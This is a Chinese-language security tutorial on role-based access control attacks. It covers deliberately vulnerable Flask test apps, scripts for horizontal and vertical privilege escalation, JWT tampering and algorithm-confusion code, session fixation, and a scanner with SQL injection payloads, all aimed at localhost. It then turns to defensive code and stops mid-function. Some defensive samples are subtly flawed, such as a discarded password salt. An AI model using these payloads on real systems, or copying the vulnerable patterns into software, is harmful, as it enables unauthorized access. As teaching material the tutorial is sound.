引言：理解角色攻击在现代安全测试中的重要性
角色攻击（Role-Based Attack）是现代网络安全和应用安全测试中的核心概念，它指的是攻击者通过操纵用户角色、权限和身份验证机制来获取未授权访问或提升权限的过程。在Web应用、API服务、移动应用以及企业级系统中，角色攻击是OWASP Top 10安全风险中”Broken Access Control”（破损的访问控制）的主要表现形式之一。
根据2023年Verizon数据泄露调查报告，超过80%的安全事件与权限管理不当有关，其中角色攻击是攻击者最常利用的漏洞类型之一。掌握角色攻击的原理、检测方法和防御策略，对于安全工程师、渗透测试人员和开发人员来说至关重要。
本文将从基础概念开始，逐步深入到高级技巧，通过完整的实战案例和可运行的代码示例，帮助读者全面掌握角色攻击的识别、利用和防御方法。
第一部分：角色攻击基础概念
1.1 什么是角色攻击
角色攻击是指攻击者通过以下方式绕过系统的权限控制：
- 角色混淆：冒充其他用户或管理员身份
- 权限提升：从普通用户权限提升到管理员或系统权限
- 垂直越权：访问本不该拥有的高级功能
- 水平越权：访问同级别用户的私有数据
1.2 角色系统的基本架构
现代应用通常采用RBAC（Role-Based Access Control）模型：
# 典型的RBAC模型示例
class RoleBasedAccessControl:
def __init__(self):
self.roles = {
'user': ['read_own_data', 'update_own_profile'],
'editor': ['read_all_data', 'edit_content', 'upload_files'],
'admin': ['read_all_data', 'edit_content', 'delete_users', 'system_config']
}
def check_permission(self, user_role, required_permission):
return required_permission in self.roles.get(user_role, [])
1.3 常见的角色攻击向量
- 参数篡改：修改URL参数中的用户ID或角色标识
- JWT/Token伪造：修改JWT中的角色声明
- 隐藏字段修改：修改表单中的隐藏角色字段
- API端点遍历：直接调用未授权的API接口
- 会话固定：使用他人的会话令牌
第二部分：入门级角色攻击实战
2.1 环境准备
我们将使用一个故意设计的有漏洞的Web应用进行实战演练。首先搭建测试环境：
# 安装必要的Python库
pip install requests flask sqlite3
# 创建有漏洞的测试应用
# 文件：vulnerable_app.py
from flask import Flask, request, session, jsonify
import sqlite3
import hashlib
app = Flask(__name__)
app.secret_key = 'vulnerable_secret_key'
# 初始化数据库
def init_db():
conn = sqlite3.connect('users.db')
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS users
(id INTEGER PRIMARY KEY, username TEXT, password TEXT, role TEXT)''')
c.execute("INSERT OR IGNORE INTO users VALUES (1, 'admin', 'admin123', 'admin')")
c.execute("INSERT OR IGNORE INTO users VALUES (2, 'user1', 'password1', 'user')")
c.execute("INSERT OR IGNORE INTO users VALUES (3, 'user2', 'password2', 'user')")
conn.commit()
conn.close()
init_db()
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
conn = sqlite3.connect('users.db')
c = conn.cursor()
c.execute("SELECT id, role FROM users WHERE username=? AND password=?",
(username, password))
user = c.fetchone()
conn.close()
if user:
session['user_id'] = user[0]
session['role'] = user[1]
return jsonify({"status": "success", "role": user[1]})
return jsonify({"status": "failed"}), 401
@app.route('/profile/<int:user_id>')
def profile(user_id):
# 漏洞：没有验证当前用户是否有权限查看目标用户的数据
conn = sqlite3.connect('users.db')
c = conn.cursor()
c.execute("SELECT id, username, role FROM users WHERE id=?", (user_id,))
user = c.fetchone()
conn.close()
if user:
return jsonify({"id": user[0], "username": user[1], "role": user[2]})
return jsonify({"error": "User not found"}), 404
@app.route('/admin/dashboard')
def admin_dashboard():
# 漏洞：仅检查session中是否存在role字段，未验证实际权限
if 'role' in session and session['role'] == 'admin':
return jsonify({
"message": "Welcome to admin dashboard",
"users": ["admin", "user1", "user2"],
"system_status": "running"
})
return jsonify({"error": "Unauthorized"}), 403
if __name__ == '__main__':
app.run(debug=True, port=5000)
2.2 基础水平越权攻击
水平越权是指攻击者访问同级别用户的私有数据。我们以查看用户资料为例：
# 攻击脚本：horizontal_privilege_escalation.py
import requests
import json
def test_horizontal_escalation():
base_url = "http://localhost:5000"
# 步骤1：登录普通用户user1
login_data = {'username': 'user1', 'password': 'password1'}
session = requests.Session()
response = session.post(f"{base_url}/login", data=login_data)
print(f"登录响应: {response.json()}")
# 步骤2：尝试访问其他用户的资料（user2的id=3）
# 正常情况下，user1只能访问自己的资料（id=2）
# 但这里存在水平越权漏洞
target_user_id = 3 # user2的ID
profile_response = session.get(f"{base_url}/profile/{target_user_id}")
print(f"\n尝试访问用户{target_user_id}的资料:")
print(f"状态码: {profile_response.status_code}")
print(f"响应内容: {profile_response.json()}")
# 步骤3：遍历所有用户ID
print("\n遍历所有用户:")
for user_id in range(1, 5):
response = session.get(f"{base_url}/profile/{user_id}")
if response.status_code == 200:
print(f"用户{user_id}: {response.json()}")
if __name__ == "__main__":
test_horizontal_escalation()
运行结果分析：
登录响应: {'status': 'success', 'role': 'user'}
尝试访问用户3的资料:
状态码: 200
响应内容: {'id': 3, 'username': 'user2', 'role': 'user'}
遍历所有用户:
用户1: {'id': 1, 'username': 'admin', 'role': 'admin'}
用户2: {'id': 2, 'username': 'user1', 'role': 'user'}
用户3: {'id': 3, 'username': 'user2', 'role': 'user'}
漏洞原因：/profile/<user_id>端点没有验证当前登录用户是否有权限查看目标用户的数据，仅依赖于用户提供的ID参数。
2.3 基础垂直越权攻击
垂直越权是指普通用户尝试访问管理员功能：
# 攻击脚本：vertical_privilege_escalation.py
import requests
def test_vertical_escalation():
base_url = "http://localhost:5000"
# 步骤1：登录普通用户
session = requests.Session()
login_data = {'username': 'user1', 'password': 'password1'}
session.post(f"{base_url}/login", data=login_data)
# 步骤2：尝试直接访问管理员仪表板
print("尝试访问管理员仪表板:")
admin_response = session.get(f"{base_url}/admin/dashboard")
print(f"状态码: {admin_response.status_code}")
print(f"响应: {admin_response.json()}")
# 步骤3：尝试通过修改session绕过验证
# 方法1：直接修改session cookie（如果服务器未签名）
session.cookies.set('role', 'admin')
admin_response = session.get(f"{base_url}/admin/dashboard")
print(f"\n修改session后再次尝试:")
print(f"状态码: {admin_response.status_code}")
print(f"响应: {admin_response.json()}")
if __name__ == "__main__":
test_vertical_escalation()
漏洞原因：/admin/dashboard端点仅检查session中是否存在role字段且值为’admin’，但Flask的session机制相对安全，这种方法通常不会成功。更常见的漏洞是服务器端未正确验证用户角色。
第三部分：中级角色攻击技巧
3.1 JWT角色篡改攻击
现代API常使用JWT（JSON Web Token）进行身份验证。JWT通常包含角色信息，如果服务器未正确验证签名或未使用安全密钥，攻击者可以篡改角色声明。
# JWT角色攻击示例
import jwt
import json
import base64
def create_vulnerable_jwt():
"""创建一个有漏洞的JWT（使用弱密钥）"""
payload = {
"sub": "user1",
"role": "user",
"exp": 1893456000
}
# 使用弱密钥，容易被破解
secret = "weak_secret_key"
token = jwt.encode(payload, secret, algorithm="HS256")
return token
def modify_jwt_role(token):
"""尝试修改JWT中的角色字段"""
# JWT结构：header.payload.signature
parts = token.split('.')
if len(parts) != 3:
return None
# 解码payload（不验证签名）
try:
payload_bytes = base64.urlsafe_b64decode(parts[1] + '==')
payload = json.loads(payload_bytes)
print(f"原始payload: {payload}")
# 修改角色
payload['role'] = 'admin'
# 重新编码payload
new_payload = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).decode().rstrip('=')
# 重组token（注意：签名部分仍然无效，但有些实现可能不验证）
modified_token = f"{parts[0]}.{new_payload}.{parts[2]}"
return modified_token
except Exception as e:
print(f"错误: {e}")
return None
def test_jwt_attack():
"""测试JWT角色攻击"""
token = create_vulnerable_jwt()
print(f"原始Token: {token}")
modified_token = modify_jwt_role(token)
print(f"\n修改后的Token: {modified_token}")
# 模拟服务器验证（有漏洞的实现）
def vulnerable_verify(token, secret):
try:
# 某些实现可能不验证签名，仅解码payload
parts = token.split('.')
payload_bytes = base64.urlsafe_b64decode(parts[1] + '==')
payload = json.loads(payload_bytes)
return payload
except:
return None
# 测试修改后的token
result = vulnerable_verify(modified_token, "weak_secret_key")
print(f"\n服务器解析结果: {result}")
if result and result.get('role') == 'admin':
print("✓ 攻击成功！角色已提升为admin")
if __name__ == "__main__":
test_jwt_attack()
防御建议：
- 使用强密钥（至少256位）
- 验证签名：
jwt.decode(token, key, algorithms=['HS256']) - 不要在客户端存储敏感角色信息
- 使用黑名单或令牌失效机制
3.2 API端点遍历与参数污染
# API端点遍历攻击
import requests
from urllib.parse import urljoin
def api_endpoint_discovery(base_url, session):
"""发现未授权的API端点"""
common_endpoints = [
'/api/admin/users',
'/api/admin/settings',
'/api/internal/config',
'/api/v1/users/me',
'/api/v1/users/1', # 尝试ID遍历
'/api/v2/admin/backup',
'/api/debug/health',
'/api/test/override'
]
print("开始API端点遍历...")
for endpoint in common_endpoints:
full_url = urljoin(base_url, endpoint)
try:
response = session.get(full_url, timeout=5)
if response.status_code != 404:
print(f"[{response.status_code}] {endpoint}: {response.text[:100]}")
except:
pass
def parameter_pollution_attack(base_url, session):
"""参数污染攻击"""
# 某些框架可能对重复参数处理不当
target_url = f"{base_url}/profile"
# 正常请求
print("正常请求:")
r1 = session.get(f"{target_url}/2")
print(f" {r1.json()}")
# 参数污染：添加多个role参数
print("\n参数污染测试:")
polluted_params = [
"?role=admin",
"?role=admin&role=user",
"?user_id=1&role=admin"
]
for param in polluted_params:
r = session.get(f"{target_url}/2{param}")
print(f" 参数{param}: {r.json()}")
if __name__ == "__main__":
base_url = "http://localhost:5000"
session = requests.Session()
# 先登录
session.post(f"{base_url}/login", data={'username': 'user1', 'password': 'password1'})
api_endpoint_discovery(base_url, session)
parameter_pollution_attack(base_url, session)
3.3 会话固定与角色继承
# 会话固定攻击示例
import requests
import uuid
def session_fixation_attack():
"""会话固定攻击"""
base_url = "http://localhost:5000"
# 步骤1：攻击者获取一个会话ID
attacker_session = requests.Session()
# 访问任意页面获取session cookie
attacker_session.get(f"{base_url}/profile/2")
session_id = attacker_session.cookies.get('session')
print(f"攻击者会话ID: {session_id}")
# 步骤2：诱骗受害者使用这个会话ID
# 在真实场景中，这可能通过恶意链接实现
victim_session = requests.Session()
victim_session.cookies.set('session', session_id)
# 步骤3：受害者登录
victim_session.post(f"{base_url}/login",
data={'username': 'admin', 'password': 'admin123'})
# 步骤4：攻击者使用原会话ID访问
print("\n攻击者尝试使用固定会话访问:")
response = attacker_session.get(f"{base_url}/admin/dashboard")
print(f"状态码: {response.status_code}")
print(f"响应: {response.json()}")
if __name__ == "__main__":
session_fixation_attack()
第四部分：高级角色攻击技巧
4.1 绕过前端验证的后端角色攻击
# 绕过前端验证的完整攻击链
import requests
import json
class AdvancedRoleAttack:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.headers = {
'User-Agent': 'Mozilla/5.0',
'Content-Type': 'application/json',
'X-Forwarded-For': '127.0.0.1'
}
def bypass_frontend_validation(self):
"""绕过前端验证直接调用API"""
# 前端可能隐藏了某些按钮，但后端API仍然存在
# 1. 登录普通用户
login_data = {'username': 'user1', 'password': 'password1'}
self.session.post(f"{self.base_url}/login", data=login_data)
# 2. 发现隐藏的API端点（通过JS源码分析或猜测）
hidden_endpoints = [
'/api/admin/create_user',
'/api/admin/delete_user',
'/api/admin/modify_role',
'/api/internal/backup',
'/api/config/update'
]
print("尝试调用隐藏API端点:")
for endpoint in hidden_endpoints:
# 尝试POST请求
payload = {"username": "hacker", "role": "admin"}
try:
r = self.session.post(
f"{self.base_url}{endpoint}",
json=payload,
headers=self.headers,
timeout=3
)
if r.status_code != 404:
print(f"[{r.status_code}] {endpoint}: {r.text[:200]}")
except:
pass
def http_verb_tampering(self):
"""HTTP动词篡改"""
# 某些端点可能只限制了GET，但允许PUT/POST
target = f"{self.base_url}/profile/1"
print("\nHTTP动词篡改测试:")
methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'HEAD', 'OPTIONS']
for method in methods:
try:
if method == 'GET':
r = self.session.get(target)
elif method == 'POST':
r = self.session.post(target, json={"role": "admin"})
elif method == 'PUT':
r = self.session.put(target, json={"role": "admin"})
elif method == 'DELETE':
r = self.session.delete(target)
elif method == 'PATCH':
r = self.session.patch(target, json={"role": "admin"})
else:
r = self.session.request(method, target)
print(f" {method}: [{r.status_code}] {r.text[:100]}")
except Exception as e:
print(f" {method}: 错误 - {e}")
if __name__ == "__main__":
attacker = AdvancedRoleAttack("http://localhost:5000")
attacker.bypass_frontend_validation()
attacker.http_verb_tampering()
4.2 数据库层面的角色攻击
# 数据库层面的角色提升（SQL注入导致角色修改）
import sqlite3
import requests
def sql_injection_role_attack():
"""通过SQL注入修改角色"""
base_url = "http://localhost:5000"
session = requests.Session()
# 登录
session.post(f"{base_url}/login", data={'username': 'user1', 'password': 'password1'})
# 有漏洞的查询（假设存在SQL注入）
# 实际应用中，这通常发生在未使用参数化查询的地方
# 模拟一个存在SQL注入的登录端点
def vulnerable_login(username, password):
conn = sqlite3.connect('users.db')
c = conn.cursor()
# 危险：直接拼接SQL
query = f"SELECT id, role FROM users WHERE username='{username}' AND password='{password}'"
try:
c.execute(query)
result = c.fetchone()
conn.close()
return result
except:
conn.close()
return None
# 注入payload：绕过密码验证并设置角色为admin
# 假设我们已知一个用户名'admin'
injection_payload = "' OR '1'='1'--"
username = f"admin{injection_payload}"
print(f"尝试SQL注入: {username}")
result = vulnerable_login(username, "any_password")
if result:
print(f"注入成功！用户ID: {result[0]}, 角色: {result[1]}")
else:
print("注入失败")
if __name__ == "__main__":
sql_injection_role_attack()
4.3 JWT算法混淆攻击
# JWT算法混淆攻击（Algorithm Confusion）
import jwt
import json
import base64
def algorithm_confusion_attack():
"""JWT算法混淆攻击"""
# 攻击原理：将alg从RS256改为HS256，并使用公钥作为HS256的密钥
# 模拟一个使用RS256的JWT（实际中公钥是公开的）
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw7VJv3pLqLqWJw0zF3K8
...（省略实际公钥）...
-----END PUBLIC KEY-----"""
private_key = """-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDDtUm/ekuoupYn
...（省略实际私钥）...
-----END PRIVATE KEY-----"""
# 创建一个合法的RS256 JWT
payload = {"sub": "user1", "role": "user"}
legitimate_token = jwt.encode(payload, private_key, algorithm="RS256")
print(f"合法RS256 Token: {legitimate_token[:50]}...")
# 攻击步骤：
# 1. 解码JWT头部
parts = legitimate_token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"\n原始头部: {header}")
# 2. 修改算法为HS256
header['alg'] = 'HS256'
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()
).decode().rstrip('=')
# 3. 修改payload
payload['role'] = 'admin'
new_payload = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).decode().rstrip('=')
# 4. 使用公钥作为HS256的密钥重新签名
# 某些实现可能接受这种转换
try:
# 尝试用公钥作为HS256密钥
malicious_token = jwt.encode(
payload,
public_key,
algorithm="HS256"
)
print(f"\n恶意Token: {malicious_token[:50]}...")
# 验证（有漏洞的服务器会接受）
# 实际中，服务器应该验证alg声明与实际使用的算法一致
try:
decoded = jwt.decode(malicious_token, public_key, algorithms=["HS256", "RS256"])
print(f"\n解码成功: {decoded}")
if decoded.get('role') == 'admin':
print("✓ 算法混淆攻击成功！")
except jwt.InvalidTokenError as e:
print(f"验证失败: {e}")
except Exception as e:
print(f"攻击失败: {e}")
if __name__ == "__main__":
algorithm_confusion_attack()
第五部分：防御策略与最佳实践
5.1 安全的角色系统实现
# 安全的RBAC实现示例
from functools import wraps
import hashlib
import secrets
import jwt
from datetime import datetime, timedelta
class SecureAccessControl:
def __init__(self):
self.secret_key = secrets.token_hex(32) # 强随机密钥
self.token_blacklist = set()
def hash_password(self, password):
"""安全的密码哈希"""
salt = secrets.token_hex(16)
return hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100000)
def generate_token(self, user_id, role):
"""生成安全的JWT"""
payload = {
"sub": user_id,
"role": role,
"iat": datetime.utcnow(),
"exp": datetime.utcnow() + timedelta(hours=24),
"jti": secrets.token_hex(16) # 唯一标识符
}
return jwt.encode(payload, self.secret_key, algorithm="HS256")
def verify_token(self, token):
"""验证JWT（防篡改）"""
try:
payload = jwt.decode(
token,
self.secret_key,
algorithms=["HS256"],
options={"require": ["exp", "iat", "sub", "role"]}
)
# 检查令牌是否在黑名单中
if payload.get('jti') in self.token_blacklist:
raise jwt.InvalidTokenError("Token revoked")
return payload
except jwt.ExpiredSignatureError:
raise jwt.InvalidTokenError("Token expired")
except jwt.InvalidTokenError:
raise jwt.InvalidTokenError("Invalid token")
def require_role(self, *allowed_roles):
"""装饰器：验证角色权限"""
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
token = request.headers.get('Authorization', '').replace('Bearer ', '')
if not token:
return jsonify({"error": "No token provided"}), 401
try:
payload = self.verify_token(token)
user_role = payload.get('role')
if user_role not in allowed_roles:
return jsonify({"error": "Insufficient permissions"}), 403
# 将用户信息传递给路由函数
request.user_payload = payload
return f(*args, **kwargs)
except jwt.InvalidTokenError as e:
return jsonify({"error": str(e)}), 401
return decorated_function
return decorator
def require_own_data(self, user_id_param='user_id'):
"""装饰器：验证只能访问自己的数据"""
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
token = request.headers.get('Authorization', '').replace('Bearer ', '')
payload = self.verify_token(token)
current_user_id = payload.get('sub')
target_user_id = kwargs.get(user_id_param)
if current_user_id != target_user_id:
return jsonify({"error": "Can only access own data"}), 403
request.user_payload = payload
return f(*args, **kwargs)
return decorated_function
return decorator
# 使用示例
secure_ac = SecureAccessControl()
@app.route('/api/secure/profile/<int:user_id>')
@secure_ac.require_own_data(user_id_param='user_id')
def secure_profile(user_id):
# 只能访问自己的数据
return jsonify({"user_id": user_id, "data": "your data"})
@app.route('/api/secure/admin/users')
@secure_ac.require_role('admin')
def admin_users():
# 只有admin可以访问
return jsonify({"users": ["user1", "user2"]})
5.2 输入验证与输出编码
# 输入验证和输出编码
from flask import request, escape
import re
def validate_user_id(user_id):
"""严格的用户ID验证"""
if not isinstance(user_id, int):
return False
if user_id <= 0:
return False
# 限制ID范围，防止遍历
if user_id > 1000000:
return False
return True
def sanitize_input(input_string, max_length=100):
"""输入清理"""
# 移除危险字符
dangerous_chars = ['<', '>', '"', "'", ';', '--', '/*']
for char in dangerous_chars:
input_string = input_string.replace(char, '')
# 限制长度
return input_string[:max_length]
def secure_query(user_id, current_user_id):
"""安全的数据库查询"""
# 参数化查询
conn = sqlite3.connect('users.db')
c = conn.cursor()
# 正确：使用参数化查询
query = "SELECT * FROM users WHERE id=? AND id=?"
c.execute(query, (user_id, current_user_id))
# 错误：字符串拼接（SQL注入风险）
# query = f"SELECT * FROM users WHERE id={user_id} AND id={current_user_id}"
result = c.fetchone()
conn.close()
return result
5.3 审计与监控
# 安全审计日志
import logging
from datetime import datetime
class SecurityAudit:
def __init__(self):
self.logger = logging.getLogger('security_audit')
handler = logging.FileHandler('security_audit.log')
formatter = logging.Formatter(
'%(asctime)s - %(levelname)s - %(message)s'
)
handler.setFormatter(formatter)
self.logger.addHandler(handler)
self.logger.setLevel(logging.INFO)
def log_access_attempt(self, user_id, target_resource, success, reason=""):
"""记录访问尝试"""
timestamp = datetime.now().isoformat()
log_entry = {
"timestamp": timestamp,
"user_id": user_id,
"resource": target_resource,
"success": success,
"reason": reason,
"ip": request.remote_addr,
"user_agent": request.headers.get('User-Agent', '')
}
self.logger.info(f"ACCESS_ATTEMPT: {json.dumps(log_entry)}")
# 实时告警：连续失败尝试
if not success:
self.check_brute_force(user_id)
def check_brute_force(self, user_id):
"""检测暴力破解"""
# 实现逻辑：检查最近5分钟内同一用户的失败次数
pass
# 使用审计
audit = SecurityAudit()
@app.route('/api/protected')
def protected_resource():
token = request.headers.get('Authorization', '').replace('Bearer ', '')
try:
payload = secure_ac.verify_token(token)
audit.log_access_attempt(payload['sub'], 'protected_resource', True)
return jsonify({"data": "sensitive"})
except:
audit.log_access_attempt('unknown', 'protected_resource', False, 'Invalid token')
return jsonify({"error": "Unauthorized"}), 401
第六部分：实战演练：完整攻击链
6.1 搭建完整测试环境
# 完整的有漏洞应用（用于教育目的）
from flask import Flask, request, session, jsonify, make_response
import sqlite3
import json
import base64
app = Flask(__name__)
app.secret_key = 'insecure_secret_123'
# 初始化数据库
def init_db():
conn = sqlite3.connect('vulnerable.db')
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS users
(id INTEGER PRIMARY KEY, username TEXT, password TEXT, role TEXT,
api_key TEXT)''')
c.execute('''CREATE TABLE IF NOT EXISTS posts
(id INTEGER PRIMARY KEY, user_id INTEGER, content TEXT,
is_private BOOLEAN)''')
# 添加测试数据
users = [
(1, 'admin', 'admin123', 'admin', 'admin_key_12345'),
(2, 'user1', 'password1', 'user', 'user1_key_abc'),
(3, 'user2', 'password2', 'user', 'user2_key_xyz')
]
c.executemany("INSERT OR IGNORE INTO users VALUES (?,?,?,?,?)", users)
posts = [
(1, 1, 'Admin private post', True),
(2, 2, 'User1 public post', False),
(3, 2, 'User1 private post', True),
(4, 3, 'User2 public post', False)
]
c.executemany("INSERT OR IGNORE INTO posts VALUES (?,?,?,?)", posts)
conn.commit()
conn.close()
init_db()
# 漏洞1：不安全的登录（SQL注入风险）
@app.route('/vuln/login', methods=['POST'])
def vuln_login():
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
conn = sqlite3.connect('vulnerable.db')
c = conn.cursor()
# 危险：字符串拼接
query = f"SELECT id, role FROM users WHERE username='{username}' AND password='{password}'"
c.execute(query)
user = c.fetchone()
conn.close()
if user:
session['user_id'] = user[0]
session['role'] = user[1]
return jsonify({"status": "success", "role": user[1]})
return jsonify({"status": "failed"}), 401
# 漏洞2：水平越权
@app.route('/vuln/posts/<int:post_id>')
def vuln_view_post(post_id):
conn = sqlite3.connect('vulnerable.db')
c = conn.cursor()
c.execute("SELECT * FROM posts WHERE id=?", (post_id,))
post = c.fetchone()
conn.close()
if post:
# 漏洞：未验证当前用户是否有权查看
return jsonify({
"id": post[0],
"user_id": post[1],
"content": post[2],
"is_private": post[3]
})
return jsonify({"error": "Post not found"}), 404
# 漏洞3：垂直越权
@app.route('/vuln/admin/delete_user/<int:user_id>', methods=['POST'])
def vuln_admin_delete(user_id):
# 漏洞：仅检查session中的role，未验证实际权限
if session.get('role') == 'admin':
conn = sqlite3.connect('vulnerable.db')
c = conn.cursor()
c.execute("DELETE FROM users WHERE id=?", (user_id,))
conn.commit()
conn.close()
return jsonify({"status": "deleted"})
return jsonify({"error": "Unauthorized"}), 403
# 漏洞4：信息泄露
@app.route('/vuln/debug/session')
def debug_session():
# 漏洞：暴露敏感session信息
return jsonify(dict(session))
if __name__ == '__main__':
app.run(debug=True, port=5001)
6.2 完整攻击脚本
# complete_attack_chain.py
import requests
import json
import sys
class RoleAttackFramework:
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
self.findings = []
def log_finding(self, severity, title, description, payload=None):
"""记录发现的漏洞"""
finding = {
"severity": severity,
"title": title,
"description": description,
"payload": payload
}
self.findings.append(finding)
print(f"[{severity}] {title}: {description}")
if payload:
print(f" Payload: {payload}")
def scan_sql_injection(self):
"""检测SQL注入"""
print("\n=== 检测SQL注入 ===")
payloads = [
"' OR '1'='1",
"' OR '1'='1'--",
"' OR 1=1--",
"admin'--",
"' UNION SELECT 1,2,3--"
]
for payload in payloads:
try:
r = self.session.post(
f"{self.target_url}/vuln/login",
json={"username": payload, "password": "test"}
)
if r.status_code == 200 and "success" in r.text:
self.log_finding(
"CRITICAL",
"SQL Injection in Login",
"Login endpoint is vulnerable to SQL injection",
payload
)
return True
except:
pass
return False
def scan_horizontal_escalation(self):
"""检测水平越权"""
print("\n=== 检测水平越权 ===")
# 先登录
self.session.post(
f"{self.target_url}/vuln/login",
json={"username": "user1", "password": "password1"}
)
# 尝试访问其他用户的帖子
for post_id in [1, 2, 3, 4]:
r = self.session.get(f"{self.target_url}/vuln/posts/{post_id}")
if r.status_code == 200:
data = r.json()
if data.get('user_id') != 2: # user1的ID是2
self.log_finding(
"HIGH",
f"Horizontal Escalation - Post {post_id}",
f"Can access post owned by user {data.get('user_id')}",
f"/vuln/posts/{post_id}"
)
def scan_vertical_escalation(self):
"""检测垂直越权"""
print("\n=== 检测垂直越权 ===")
# 登录普通用户
self.session.post(
f"{self.target_url}/vuln/login",
json={"username": "user1", "password": "password1"}
)
# 尝试访问管理员功能
r = self.session.post(f"{self.target_url}/vuln/admin/delete_user/3")
if r.status_code != 403:
self.log_finding(
"CRITICAL",
"Vertical Escalation",
"Regular user can access admin endpoints",
"/vuln/admin/delete_user/3"
)
# 尝试修改session
self.session.cookies.set('role', 'admin')
r = self.session.post(f"{self.target_url}/vuln/admin/delete_user/3")
if r.status_code == 200:
self.log_finding(
"CRITICAL",
"Session Role Manipulation",
"Can modify session role to gain admin access",
"session[role]=admin"
)
def scan_information_disclosure(self):
"""检测信息泄露"""
print("\n=== 检测信息泄露 ===")
r = self.session.get(f"{self.target_url}/vuln/debug/session")
if r.status_code == 200:
data = r.json()
if 'user_id' in data or 'role' in data:
self.log_finding(
"MEDIUM",
"Information Disclosure",
"Debug endpoint exposes sensitive session data",
"/vuln/debug/session"
)
def run_full_scan(self):
"""运行完整扫描"""
print(f"Starting role attack scan on {self.target_url}")
print("=" * 50)
self.scan_sql_injection()
self.scan_horizontal_escalation()
self.scan_vertical_escalation()
self.scan_information_disclosure()
print("\n" + "=" * 50)
print(f"Scan complete. Found {len(self.findings)} vulnerabilities.")
# 生成报告
with open('role_attack_report.json', 'w') as f:
json.dump(self.findings, f, indent=2)
print("Report saved to role_attack_report.json")
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5001"
scanner = RoleAttackFramework(target)
scanner.run_full_scan()
6.3 运行结果分析
运行上述脚本后，将生成类似以下的报告：
[
{
"severity": "CRITICAL",
"title": "SQL Injection in Login",
"description": "Login endpoint is vulnerable to SQL injection",
"payload": "' OR '1'='1"
},
{
"severity": "HIGH",
"title": "Horizontal Escalation - Post 1",
"description": "Can access post owned by user 1",
"payload": "/vuln/posts/1"
},
{
"severity": "CRITICAL",
"title": "Vertical Escalation",
"description": "Regular user can access admin endpoints",
"payload": "/vuln/admin/delete_user/3"
}
]
第七部分：防御深度与监控
7.1 实施最小权限原则
# 最小权限原则实现
from functools import wraps
from flask import request, jsonify
class PrincipleOfLeastPrivilege:
def __init__(self):
self.permissions = {
'user': ['read_own_posts', 'update_own_profile'],
'editor': ['read_all_posts', 'edit_posts', 'upload_files'],
'admin': ['manage_users', 'delete_posts', 'system_config']
}
def has_permission(self, user_role, required_permission):
"""检查权限"""
user_perms = self.permissions.get(user_role, [])
return required_permission in user_perms
def require_permission(self, permission):
"""权限装饰器"""
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
token = request.headers.get('Authorization', '').replace('Bearer ', '')
if not token:
return jsonify({"error": "No token"}), 401
try:
payload = secure_ac.verify_token(token)
user_role = payload.get('role')
if not self.has_permission(user_role, permission):
audit.log_access_attempt(
payload['sub'],
request.path,
False,
f"Missing permission: {permission}"
)
return jsonify({"error": "Insufficient permissions"}), 403
request.user_payload = payload
return f(*args, **kwargs)
except Exception as e:
return jsonify({"error": str(e)}), 401
return decorated_function
return decorator
# 使用
polp = PrincipleOfLeastPrivilege()
@app.route('/api/posts/<int:post_id>', methods=['DELETE'])
@polp.require_permission('delete_posts')
def delete_post(post_id):
# 只有拥有delete_posts权限的角色才能执行
return jsonify({"status": "deleted"})
7.2 多因素认证（MFA）集成
# MFA集成示例
import pyotp # 需要安装: pip install pyotp
class MFAHandler:
def __init__(self):
self.mfa_secrets = {} # 用户ID到MFA密钥的映射
def setup_mfa(self, user_id):
"""为用户设置MFA"""
secret = pyotp.random_base32()
self.mfa_secrets[user_id] = secret
# 生成QR码URL（用于Google Authenticator等）
totp = pyotp.TOTP(secret)
qr_url = totp.provisioning_uri(
name=f"user{user_id}",
issuer_name="SecureApp"
)
return secret, qr_url
def verify_mfa(self, user_id, token):
"""验证MFA令牌"""
secret = self.mfa_secrets.get(user_id)
if not secret:
return False
totp = pyotp.TOTP(secret)
return totp.verify(token, valid_window=1)
# 在登录流程中集成MFA
@app.route('/login-with-mfa', methods=['POST'])
def login_with_mfa():
data = request.get_json()
username = data.get('username')
password = data.get('password')
mfa_token = data.get('mfa_token')
# 1. 验证用户名密码
user = verify_credentials(username, password)
if not user:
return jsonify({"error": "Invalid credentials"}), 401
# 2. 验证MFA
if not mfa_handler.verify_mfa(user['id'], mfa_token):
return jsonify({"error": "Invalid MFA token"}), 401
# 3. 生成会话
token = secure_ac.generate_token(user['id'], user['role'])
return jsonify({"token": token})
7.3 安全配置管理
# 安全配置管理
import os
from dotenv import load_dotenv
load_dotenv()
class SecureConfig:
# 从环境变量读取，不硬编码
SECRET_KEY = os.getenv('SECRET_KEY')
JWT_ALGORITHM = os.getenv('JWT_ALGORITHM', 'HS256')
TOKEN_EXPIRY = int(os.getenv('TOKEN_EXPIRY', '3600'))
ALLOWED_ROLES = os.getenv('ALLOWED_ROLES', 'user,editor,admin').split(',')
# 安全的密码策略
PASSWORD_POLICY = {
'min_length': 12,
'require_uppercase': True,
'require_lowercase': True,
'require_numbers': True,
'require_special': True,
'max_age_days': 90,
'max_attempts': 5
}
@classmethod
def validate_password(cls, password):
"""验证密码强度"""
if len(password) < cls.PASSWORD_POLICY['min_length']:
return False, "Password too short"
if cls.PASSWORD_POLICY['require_uppercase'] and not any(c.isupper() for c in password):
return False, "Missing uppercase letter"
if cls.PASSWORD_POLICY['require_lowercase'] and not any(c.islower() for c in password):
return False, "Missing lowercase letter"
if cls.PASSWORD_POLICY['require_numbers'] and not any(c.isdigit() for c in password):
return False, "Missing number"
